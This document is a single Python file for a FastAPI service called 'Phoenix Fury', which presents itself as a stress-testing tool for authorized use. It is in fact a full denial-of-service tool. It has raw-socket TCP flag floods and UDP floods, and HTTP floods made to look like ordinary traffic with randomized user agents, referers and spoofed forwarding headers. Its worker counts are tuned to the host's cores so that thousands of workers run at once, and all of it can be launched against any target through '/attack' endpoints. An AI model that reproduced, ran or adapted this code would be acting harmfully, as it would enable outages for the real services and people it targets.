main.py

import socket
import struct
import random
import time
import multiprocessing
import threading
import asyncio
import aiohttp
import os
import sys
import psutil
import ssl
from typing import Literal, List, Union
from ctypes import c_ulonglong

# Use uvloop for a significant performance boost
try:
    import uvloop
    asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
except ImportError:
    pass

from fastapi import FastAPI, HTTPException, BackgroundTasks
from pydantic import BaseModel, Field
import uvicorn

# --- Application Setup ---
app = FastAPI(
    title="🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
    description="Extreme stress testing tool with auto-optimized settings for maximum RPS/PPS. For authorized testing only.",
    version="7.0.0"
)

# --- Auto-Optimized Configuration ---
CPU_COUNT = psutil.cpu_count(logical=True) or 8
TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)

# REALISTIC AUTO-DETECTION - Respects OS thread limits
# Linux default: ~32K threads per process, ~unlimited processes
def calculate_optimal_config():
    """Auto-calculate optimal configuration based on system resources."""
    # MUCH MORE CONSERVATIVE: Max 200 threads per process to avoid hitting limits
    # Focus on MORE PROCESSES with FEWER THREADS each
    
    if CPU_COUNT >= 48:
        # Mega servers (48-128 cores) - 48 cores example
        MAX_PROCESSES = CPU_COUNT * 6  # 288 processes
        THREADS_PER_PROCESS = 200  # 200 threads each
        # Total: 57,600 workers
    elif CPU_COUNT >= 32:
        # High-end servers (32-47 cores)
        MAX_PROCESSES = CPU_COUNT * 8  # 256 processes for 32 cores
        THREADS_PER_PROCESS = 250
        # Total: 64,000 workers
    elif CPU_COUNT >= 16:
        # Mid-range servers (16-31 cores)
        MAX_PROCESSES = CPU_COUNT * 12  # 192 processes for 16 cores
        THREADS_PER_PROCESS = 300
        # Total: 57,600 workers
    elif CPU_COUNT >= 8:
        # Standard servers (8-15 cores)
        MAX_PROCESSES = CPU_COUNT * 16  # 128 processes for 8 cores
        THREADS_PER_PROCESS = 400
        # Total: 51,200 workers
    elif CPU_COUNT >= 4:
        # Small servers (4-7 cores)
        MAX_PROCESSES = CPU_COUNT * 24  # 96 processes for 4 cores
        THREADS_PER_PROCESS = 500
        # Total: 48,000 workers
    else:
        # Minimal systems (2-3 cores)
        MAX_PROCESSES = CPU_COUNT * 32  # 64 processes for 2 cores
        THREADS_PER_PROCESS = 600
        # Total: 38,400 workers
    
    total_workers = MAX_PROCESSES * THREADS_PER_PROCESS
    
    return MAX_PROCESSES, THREADS_PER_PROCESS, total_workers

MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
STATS_BATCH_UPDATE_SIZE = 500  # Larger batches for extreme performance

# --- L7 Enhanced Headers Pool ---
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Safari/604.1"
]
REFERERS = [
    "https://www.google.com/search?q=",
    "https://www.bing.com/search?q=",
    "https://www.facebook.com/",
    "https://www.twitter.com/",
    "https://www.reddit.com/",
    "https://www.youtube.com/"
]

def get_random_headers() -> dict:
    """Generates randomized headers with IP spoofing for L7 attacks."""
    return {
        "User-Agent": random.choice(USER_AGENTS),
        "Referer": random.choice(REFERERS) + str(random.randint(1000, 9999)),
        "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
        "X-Real-IP": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.9",
        "Accept-Encoding": "gzip, deflate, br",
        "Cache-Control": "no-cache",
        "Pragma": "no-cache"
    }

# ====================================================================================
#  Pydantic API Models (Simplified - Auto Max Settings)
# ====================================================================================
class BaseAttackConfig(BaseModel):
    target: str = Field(..., description="Target hostname or IP address")
    port: int = Field(..., ge=1, le=65535, description="Target port")
    duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds")

class L4TCPConfig(BaseAttackConfig):
    method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")

class L4UDPConfig(BaseAttackConfig):
    method: Literal["flood", "pps"] = Field("flood", description="'flood' for large packets, 'pps' for minimal packets")
    payload_size: int = Field(1400, ge=0, le=1472, description="Size of UDP payload. 0 for PPS mode.")

class L7Config(BaseAttackConfig):
    method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
    path: str = Field("/", description="Request path")

class StatusResponse(BaseModel):
    attack_active: bool
    attack_type: str
    target_host: str
    target_ip: str
    port: int
    duration: int
    elapsed_time: float
    processes: int
    total_sent: int
    current_rate_pps_rps: float
    cpu_usage_percent: float
    memory_usage_percent: float

# ====================================================================================
#  CORE NETWORKING & PACKET CRAFTING
# ====================================================================================
def check_root() -> bool:
    """Check if running with root/admin privileges."""
    try:
        return os.geteuid() == 0
    except AttributeError:
        import ctypes
        return ctypes.windll.shell32.IsUserAnAdmin() != 0

def resolve_target(target: str) -> str:
    """Resolve hostname to IP address."""
    try:
        if "://" in target:
            target = target.split("://")[1].split("/")[0]
        return socket.gethostbyname(target)
    except socket.gaierror:
        raise ValueError(f"Could not resolve hostname: {target}")

def get_local_ip(target_ip: str) -> str:
    """Get local IP address that routes to target."""
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect((target_ip, 1))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except:
        return "127.0.0.1"

def calculate_checksum(data: bytes) -> int:
    """Calculate IP/TCP/UDP checksum."""
    s = 0
    if len(data) % 2:
        data += b'\0'
    for i in range(0, len(data), 2):
        s += (data[i] << 8) + data[i+1]
    s = (s >> 16) + (s & 0xffff)
    s += (s >> 16)
    return (~s) & 0xffff

def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
    """Create IP header."""
    header = struct.pack('!BBHHHBBH4s4s',
        (4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
        socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
    )
    return header[:10] + struct.pack('!H', calculate_checksum(header)) + header[12:]

def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
    """Create TCP header with specified flags."""
    seq = random.randint(1, 4294967295)
    ack_seq = 0
    header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
    pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header))
    checksum = calculate_checksum(pseudo_header + header)
    return header[:16] + struct.pack('!H', checksum) + header[18:]

def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
    """Create UDP header."""
    udp_len = 8 + len(payload)
    header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)
    pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)
    checksum = calculate_checksum(pseudo_header + header + payload)
    return header[:6] + struct.pack('!H', checksum)

# ====================================================================================
#  OPTIMIZED L4 WORKER PROCESS
# ====================================================================================
def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
    """Ultra-optimized L4 worker with raw sockets."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        # Increase socket buffer for higher throughput
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)
        local_ip = get_local_ip(target_ip)
    except Exception as e:
        print(f"[PID {os.getpid()}] L4 Worker Init Error: {e}", file=sys.stderr)
        return

    local_counter = 0
    flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
    
    # Pre-generate payloads for UDP
    if attack_type == 'udp':
        if method_details == 'pps' or method_details == 0:
            payload = b''
        else:
            payload = os.urandom(method_details)
        udp_len = 8 + len(payload)

    # Packet crafting loop - optimized for speed
    while not stop_event.is_set():
        try:
            src_port = random.randint(10000, 65535)
            
            if attack_type == 'tcp':
                ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
                tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))
                packet = ip_header + tcp_header
            else:  # udp
                ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
                udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
                packet = ip_header + udp_header + payload
            
            sock.sendto(packet, (target_ip, port))
            local_counter += 1
            
            # Batch counter updates for performance
            if local_counter >= STATS_BATCH_UPDATE_SIZE:
                with shared_counter.get_lock():
                    shared_counter.value += local_counter
                local_counter = 0
        except:
            pass  # Ignore errors for maximum speed
    
    # Final counter update
    if local_counter > 0:
        with shared_counter.get_lock():
            shared_counter.value += local_counter
    sock.close()

# ====================================================================================
#  OPTIMIZED L7 WORKER PROCESS
# ====================================================================================
def threaded_socket_worker(worker_id, host, port, path, use_ssl, stop_event, shared_counter):
    """High-performance threaded socket worker - synchronous for reliability."""
    local_counter = 0
    req_counter = 0
    
    # Pre-build HTTP request template
    http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
    
    while not stop_event.is_set():
        sock = None
        try:
            # Create socket
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
            sock.settimeout(3)
            sock.connect((host, port))
            
            if use_ssl:
                import ssl as ssl_module
                context = ssl_module.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl_module.CERT_NONE
                sock = context.wrap_socket(sock, server_hostname=host)
            
            # Send burst of requests on same connection
            for _ in range(100):
                if stop_event.is_set():
                    break
                try:
                    request = http_template.format(req_counter).encode()
                    sock.sendall(request)
                    local_counter += 1
                    req_counter += 1
                    
                    # Quick non-blocking read attempt
                    sock.settimeout(0.001)
                    try:
                        _ = sock.recv(8192)
                    except:
                        pass
                except:
                    break
            
            sock.close()
            
        except:
            pass
        finally:
            if sock:
                try:
                    sock.close()
                except:
                    pass
        
        # Batch counter updates
        if local_counter >= STATS_BATCH_UPDATE_SIZE:
            with shared_counter.get_lock():
                shared_counter.value += local_counter
            local_counter = 0
    
    # Final update
    if local_counter > 0:
        with shared_counter.get_lock():
            shared_counter.value += local_counter

def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, thread_count):
    """L7 worker process - spawns many threads for socket flooding."""
    protocol = "https" if port in [443, 8443] else "http"
    use_ssl = (port in [443, 8443])
    host = target_ip
    
    # Launch threads
    threads = []
    for i in range(thread_count):
        t = threading.Thread(
            target=threaded_socket_worker,
            args=(i, host, port, path, use_ssl, stop_event, shared_counter),
            daemon=True
        )
        t.start()
        threads.append(t)
    
    # Wait for threads to complete
    for t in threads:
        t.join()

# ====================================================================================
#  CENTRALIZED ATTACK MANAGER (SINGLETON)
# ====================================================================================
class AttackManager:
    """Singleton manager for all attacks."""
    _instance = None
    
    def __new__(cls):
        if cls._instance is None:
            cls._instance = super(AttackManager, cls).__new__(cls)
            cls._instance._initialized = False
        return cls._instance

    def __init__(self):
        if self._initialized:
            return
        self._initialized = True
        self.lock = threading.Lock()
        self.stats_thread = None
        self._reset_state()

    def _reset_state(self):
        """Reset all attack state."""
        self.attack_active = False
        self.attack_type = "None"
        self.target_host = "None"
        self.target_ip = "None"
        self.port = 0
        self.duration = 0
        self.start_time = 0.0
        self.process_count = 0
        self.processes: List[multiprocessing.Process] = []
        self.stop_event = multiprocessing.Event()
        self.counter = multiprocessing.Value(c_ulonglong, 0)
        self.current_rate = 0.0

    def is_active(self):
        """Check if an attack is currently active."""
        with self.lock:
            return self.attack_active

    def _stats_calculator(self):
        """Background thread to calculate current rate."""
        last_check_time = time.time()
        last_count = 0
        
        while not self.stop_event.is_set():
            time.sleep(1)
            now = time.time()
            current_count = self.counter.value
            elapsed = now - last_check_time
            
            if elapsed > 0:
                self.current_rate = (current_count - last_count) / elapsed
            
            last_check_time = now
            last_count = current_count
        
        self.current_rate = 0.0

    def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str):
        """Start an attack with auto-optimized settings."""
        with self.lock:
            if self.attack_active:
                return
            
            try:
                self.target_host = config.target
                self.target_ip = resolve_target(self.target_host)
                
                if family == 'l4' and not check_root():
                    raise PermissionError("Layer 4 attacks require root privileges.")
            except (ValueError, PermissionError) as e:
                print(f"Attack validation failed: {e}", file=sys.stderr)
                self._reset_state()
                return

            self.attack_active = True
            self.port = config.port
            self.duration = config.duration
            self.process_count = MAX_PROCESSES  # AUTO MAX
            self.start_time = time.time()
            
            worker_target, worker_args, attack_name = (None, None, "Unknown")
            
            if family == 'l7' and isinstance(config, L7Config):
                attack_name = f"L7-{config.method.upper()}"
                worker_target = l7_worker_process
                worker_args = (
                    self.stop_event, 
                    self.counter, 
                    self.target_ip, 
                    config.port, 
                    config.path, 
                    config.method, 
                    MAX_CONCURRENCY_PER_PROCESS  # AUTO MAX
                )
            elif family == 'l4':
                worker_target = l4_worker_process
                if isinstance(config, L4TCPConfig):
                    attack_name = f"L4-TCP-{config.method.upper()}"
                    worker_args = (
                        self.stop_event, 
                        self.counter, 
                        self.target_ip, 
                        config.port, 
                        'tcp', 
                        config.method
                    )
                elif isinstance(config, L4UDPConfig):
                    attack_name = f"L4-UDP-{config.method.upper()}"
                    worker_args = (
                        self.stop_event, 
                        self.counter, 
                        self.target_ip, 
                        config.port, 
                        'udp', 
                        config.method if config.method == 'pps' else config.payload_size
                    )
            
            self.attack_type = attack_name
            
            print("=" * 70)
            print(f"🔥 PHOENIX FURY MAXIMUM POWER - ATTACK INITIATED 🔥")
            print(f"   Type: {self.attack_type}")
            print(f"   Target: {self.target_host}:{self.port} ({self.target_ip})")
            print(f"   Duration: {self.duration}s")
            print(f"   Processes: {self.process_count} (AUTO MAX)")
            if family == 'l7':
                print(f"   Concurrency per Process: {MAX_CONCURRENCY_PER_PROCESS}")
                print(f"   Total Concurrent Tasks: {self.process_count * MAX_CONCURRENCY_PER_PROCESS:,}")
            print("=" * 70)

            # Launch all worker processes
            for _ in range(self.process_count):
                p = multiprocessing.Process(target=worker_target, args=worker_args)
                self.processes.append(p)
                p.start()
            
            # Start stats calculator
            self.stats_thread = threading.Thread(target=self._stats_calculator)
            self.stats_thread.start()

    def stop(self):
        """Stop the current attack."""
        with self.lock:
            if not self.attack_active:
                return
            
            print(f"\n⚠️ Stop signal received. Terminating {len(self.processes)} processes...")
            self.stop_event.set()
            
            # Wait for processes to finish
            for p in self.processes:
                p.join(timeout=5)
            
            # Force terminate hanging processes
            for p in self.processes:
                if p.is_alive():
                    print(f"Terminating hanging process PID: {p.pid}")
                    p.terminate()
            
            # Stop stats thread
            if self.stats_thread:
                self.stats_thread.join(timeout=2)
            
            # Calculate final stats
            elapsed = time.time() - self.start_time
            total_sent = self.counter.value
            avg_rate = total_sent / elapsed if elapsed > 0 else 0
            
            print("=" * 50)
            print("✅ ATTACK TERMINATED")
            print(f"   Total Sent: {total_sent:,}")
            print(f"   Elapsed Time: {elapsed:.2f}s")
            print(f"   Average Rate: {avg_rate:,.2f} PPS/RPS")
            print("=" * 50)
            
            self._reset_state()

    def get_status(self) -> StatusResponse:
        """Get current attack status."""
        with self.lock:
            return StatusResponse(
                attack_active=self.attack_active,
                attack_type=self.attack_type,
                target_host=self.target_host,
                target_ip=self.target_ip,
                port=self.port,
                duration=self.duration,
                elapsed_time=round(time.time() - self.start_time, 2) if self.attack_active else 0,
                processes=self.process_count,
                total_sent=self.counter.value,
                current_rate_pps_rps=round(self.current_rate, 2),
                cpu_usage_percent=psutil.cpu_percent(),
                memory_usage_percent=psutil.virtual_memory().percent
            )

MANAGER = AttackManager()

# ====================================================================================
#  FASTAPI ENDPOINTS
# ====================================================================================
@app.on_event("startup")
async def on_startup():
    """Startup message with system info."""
    print("=" * 80)
    print("🔥 Phoenix Fury API v7.0 - EXTREME PERFORMANCE Edition")
    print(f"   System Auto-Detected:")
    print(f"      CPU Cores: {CPU_COUNT}")
    print(f"      RAM: {TOTAL_RAM_GB:.1f} GB")
    print(f"   ")
    print(f"   Auto-Optimized Configuration:")
    print(f"      Processes: {MAX_PROCESSES}")
    print(f"      Threads per Process: {MAX_CONCURRENCY_PER_PROCESS:,}")
    print(f"      Total Concurrent Workers: {TOTAL_WORKERS:,}")
    print(f"   ")
    print(f"   Expected Performance:")
    print(f"      Target RPS: {int(TOTAL_WORKERS * 0.8):,} - {int(TOTAL_WORKERS * 2):,}")
    print(f"   ")
    if check_root():
        print("✅ Running with root privileges - L4 attacks ENABLED")
    else:
        print("⚠️ WARNING: Not root - L4 attacks will FAIL")
    print("=" * 80)

def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
    """Run attack lifecycle in background."""
    if MANAGER.is_active():
        raise HTTPException(status_code=409, detail="An attack is already in progress.")
    
    background_tasks.add_task(MANAGER.start, config, family)
    background_tasks.add_task(time.sleep, config.duration)
    background_tasks.add_task(MANAGER.stop)

@app.post("/attack/layer7")
def api_start_l7(config: L7Config, background_tasks: BackgroundTasks):
    """Start L7 attack with auto-optimized settings."""
    run_attack_lifecycle(config, 'l7', background_tasks)
    return {
        "status": "success",
        "message": f"L7 attack initiated on {config.target}:{config.port}",
        "processes": MAX_PROCESSES,
        "concurrency_per_process": MAX_CONCURRENCY_PER_PROCESS,
        "total_workers": MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
    }

@app.post("/attack/layer4/tcp")
def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks):
    """Start L4 TCP attack with auto-optimized settings."""
    run_attack_lifecycle(config, 'l4', background_tasks)
    return {
        "status": "success",
        "message": f"L4 TCP {config.method.upper()} attack initiated on {config.target}:{config.port}",
        "processes": MAX_PROCESSES
    }

@app.post("/attack/layer4/udp")
def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks):
    """Start L4 UDP attack with auto-optimized settings."""
    run_attack_lifecycle(config, 'l4', background_tasks)
    return {
        "status": "success",
        "message": f"L4 UDP {config.method.upper()} attack initiated on {config.target}:{config.port}",
        "processes": MAX_PROCESSES
    }

@app.post("/attack/stop")
def api_stop_attack():
    """Stop the current attack."""
    if not MANAGER.is_active():
        return {"status": "info", "message": "No attack is currently running."}
    MANAGER.stop()
    return {"status": "success", "message": "Stop signal sent."}

@app.get("/status", response_model=StatusResponse)
def get_status():
    """Get current attack status and system metrics."""
    return MANAGER.get_status()

@app.get("/")
def root():
    """Root endpoint with API info."""
    return {
        "message": "🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
        "docs": "/docs",
        "system": {
            "cpu_cores": CPU_COUNT,
            "ram_gb": round(TOTAL_RAM_GB, 1),
            "max_processes": MAX_PROCESSES,
            "threads_per_process": MAX_CONCURRENCY_PER_PROCESS,
            "total_workers": TOTAL_WORKERS,
            "expected_rps": f"{int(TOTAL_WORKERS * 0.8):,} - {int(TOTAL_WORKERS * 2):,}"
        }
    }

# --- Main Execution ---
if __name__ == "__main__":
    multiprocessing.freeze_support()
    uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)